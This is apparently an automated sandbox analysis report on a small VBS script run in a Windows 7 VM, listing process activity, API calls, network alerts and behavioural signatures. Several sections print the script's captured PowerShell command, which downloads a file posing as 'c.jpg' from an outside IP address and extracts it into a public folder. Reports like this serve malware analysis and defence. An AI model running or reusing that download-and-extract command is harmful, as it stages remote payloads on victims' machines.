Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	July 7, 2024, 7:08 p.m.	July 7, 2024, 7:10 p.m.

Size	533.0B
Type	ASCII text, with CRLF line terminators
MD5	`dc087d53594631d1aaa5a22d4b98029f`
SHA256	`c46404289e1d370b7f1c7d90301db7f2e9a3827e02b00d44a4a1dd557f5a2f1b`
CRC32	`11C79356`
ssdeep	`12:X9elAhrnzI8omE1+MCPG8VmP80mvjVAZbehukJV6+BO:XDd/omEUMoG8VE804jVAAuI6+BO`
Yara	Antivirus - Contains references to security software

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\63vN2.txt.vbs
2640
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command "Start-BitsTransfer -Source 'http://212.70.149.205:2020/c.jpg' -Destination 'C:\Users\Public\bbbb.zip'; Expand-Archive -Path 'C:\Users\Public\bbbb.zip' -DestinationPath 'C:\Users\Public\'"
  2740

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
164.124.101.2	Active	Moloch
77.91.77.82	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 77.91.77.82:80 -> 192.168.56.101:49170	2400007	ET DROP Spamhaus DROP Listed Traffic Inbound group 8	Misc Attack

Suricata TLS

No Suricata TLS

Queries for the computername (6 events)

Time & API	Arguments	Status	Return
GetComputerNameW July 7, 2024, 7:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 7, 2024, 7:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 7, 2024, 7:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 7, 2024, 7:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA July 7, 2024, 7:08 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW July 7, 2024, 7:08 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent July 7, 2024, 7:08 p.m.			0	0

Command line console output was observed (20 events)

Time & API	Arguments	Status	Return
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: The term 'Start-BitsTransfer' is not recognized as the name of a cmdlet, functi console_handle: 0x00000023	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: on, script file, or operable program. Check the spelling of the name, or if a p console_handle: 0x0000002f	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: ath was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: At line:1 char:19 console_handle: 0x00000047	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: + Start-BitsTransfer <<<< -Source 'http://212.70.149.205:2020/c.jpg' -Destinat console_handle: 0x00000053	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: ion 'C:\Users\Public\bbbb.zip'; Expand-Archive -Path 'C:\Users\Public\bbbb.zip' console_handle: 0x0000005f	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: -DestinationPath 'C:\Users\Public\' console_handle: 0x0000006b	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Start-BitsTransfer:String) [], console_handle: 0x00000077	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: CommandNotFoundException console_handle: 0x00000083	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x0000008f	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: The term 'Expand-Archive' is not recognized as the name of a cmdlet, function, console_handle: 0x000000af	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: script file, or operable program. Check the spelling of the name, or if a path console_handle: 0x000000bb	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: was included, verify that the path is correct and try again. console_handle: 0x000000c7	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: At line:1 char:118 console_handle: 0x000000d3	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: + Start-BitsTransfer -Source 'http://212.70.149.205:2020/c.jpg' -Destination 'C console_handle: 0x000000df	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: :\Users\Public\bbbb.zip'; Expand-Archive <<<< -Path 'C:\Users\Public\bbbb.zip' console_handle: 0x000000eb	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: -DestinationPath 'C:\Users\Public\' console_handle: 0x000000f7	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Expand-Archive:String) [], Comm console_handle: 0x00000103	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: andNotFoundException console_handle: 0x0000010f	1	1
WriteConsoleW July 7, 2024, 7:08 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x0000011b	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0da8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0ea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0ea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0ea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0ea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0ea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0ea8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0968 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0968 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0968 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1228 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1328 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b0aa8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey July 7, 2024, 7:08 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x002b1728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx July 7, 2024, 7:08 p.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 137 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 2293760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x029f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02be0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72521000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0267a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72522000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02672000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02682000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02be1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02be2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02683000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02684000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026bb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0267b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02685000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02900000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02686000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ab9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02abb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02abc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02abd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02abe000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02abf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02bc0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02bc1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02bc2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02bc3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 7, 2024, 7:08 p.m.	process_identifier: 2740 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02bc4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command "Start-BitsTransfer -Source 'http://212.70.149.205:2020/c.jpg' -Destination 'C:\Users\Public\bbbb.zip'; Expand-Archive -Path 'C:\Users\Public\bbbb.zip' -DestinationPath 'C:\Users\Public\'"
